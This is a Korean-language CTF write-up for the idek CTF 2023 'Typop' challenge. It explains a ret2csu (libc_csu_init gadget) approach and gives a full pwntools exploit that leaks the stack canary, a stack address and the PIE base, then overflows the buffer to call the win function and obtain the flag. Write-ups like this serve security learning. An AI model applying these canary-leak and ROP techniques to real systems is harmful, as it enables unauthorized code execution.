idek CTF 2023 - Typop (intend, CSU)

얼마 전에 올렸던 idek CTF에서의 Typop 문제를 언인텐으로 풀이했다는 것을 확인했다. ctftime 구경하다가 이 문제의 다른 풀이를 확인하면서 알게되었다. 당시엔 길이 제한 때문에 csu gadget을 사용 못한다고 생각했다. 하지만 쓸데 없는 페이로드가 있었고 이것만 없으면 길이가 딱 맞아서 csu gadget을 사용하여 win 함수를 실행할 수 있다.

이 문제에 대한 정보와 분석은 며칠 전 작성한 게시글을 확인하자.

Solve

csu_int, csu_call


위 사진의 가젯을 사용하여 만든 함수는 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
def chain(rdi, rsi, rdx, buf, csu_call):
payload = b''
#payload += b'A' * 8 # add rsp, 8
payload += p64(0) # pop rbx (dummy)
payload += p64(1) # pop rbp (dummy)
payload += p64(rdi) # pop r12 -> rdi
payload += p64(rsi) # pop r13 -> rsi
payload += p64(rdx) # pop r14 -> rdx
payload += p64(buf) # pop r15 -> call [buf]
payload += p64(csu_call)

return payload

코드에 주석으로 표현되어 있는 부분이 바로 쓸데없는 페이로드이다. 이 문제에서 저 코드는 필요 없다.

한편, csu gadget을 사용하기 위해 가장 중요한 것은 call할 주소가 필요하다는 것이다. 사진의 코드에선 call [r15+rbx*8]가 여기에 해당한다. rbx를 0으로 세팅할 것이기 때문에 결국 r15에 저장된 주소가 호출된다. 우리가 실행하고 싶은 주소는 win 함수 주소이기 때문에 어딘가에다가 win 함수 주소를 적어놓고 그 주소를 r15에 넣어줘야 한다.

1
2
3
4
5
6
7
payload = b''
payload += b'A' * (0x12-0x8)
payload += p64(canary)
payload += p64(win) # stack addr

payload += p64(csu_init)
payload += chain(ord('f'), ord('l'), ord('a'), stack-0x10, csu_call)

canary 뒤에 win 함수 주소를 넣어줬다. 사전에 stack 주소를 구해놨으니 win함수가 저장되어 있는 stack 주소를 구할 수 있다. 페이로드 글자 수도 문제에서 제한 걸었던 0x5a와 동일하다.

Solve Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

context.arch = 'amd64'
# context.log_level = 'DEBUG'

e = ELF('./chall')
# p = process('./chall')
p = remote('typop.chal.idek.team', 1337)

def chain(rdi, rsi, rdx, buf, csu_call):
payload = b''
#payload += b'A' * 8 # add rsp, 8
payload += p64(0) # pop rbx (dummy)
payload += p64(1) # pop rbp (dummy)
payload += p64(rdi) # pop r12 -> rdi
payload += p64(rsi) # pop r13 -> rsi
payload += p64(rdx) # pop r14 -> rdx
payload += p64(buf) # pop r15 -> call [buf]
payload += p64(csu_call)

return payload

# ==========================================================
p.sendlineafter('survey?\n', 'y')
p.sendafter('ctf?\n', 'A' * 10 + 'B')

# (1) canary, stack leak
p.recvuntil('B')
canary = u64(b'\x00' + p.recv(7))
stack = u64(p.recv(6).ljust(8, b'\x00'))
info('canary: '+ hex(canary))
info('stack: ' + hex(stack))

p.sendafter('feedback?\n', b'A'*10 + p64(canary))

# ==========================================================
# (2) pie base leak
p.sendlineafter('survey?\n', 'y')
p.sendafter('ctf?\n', b'A'*10 + b'B'*8 + b'C'*7 + b'D')

p.recvuntil('D')
pie_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1447
info('pie base: ' + hex(pie_base))

# (3) for csu_gadget
win = pie_base + e.sym['win']
csu_init = pie_base + 0x14ca
csu_call = pie_base + 0x14b0

# (3)
payload = b''
payload += b'A' * (0x12-0x8)
payload += p64(canary)
payload += p64(win) # stack addr

payload += p64(csu_init)
payload += chain(ord('f'), ord('l'), ord('a'), stack-0x10, csu_call)

print(hex(len(payload)))
pause()
p.sendafter('feedback?\n', payload)

p.interactive()

flag

1
idek{2_guess_typos_do_matter}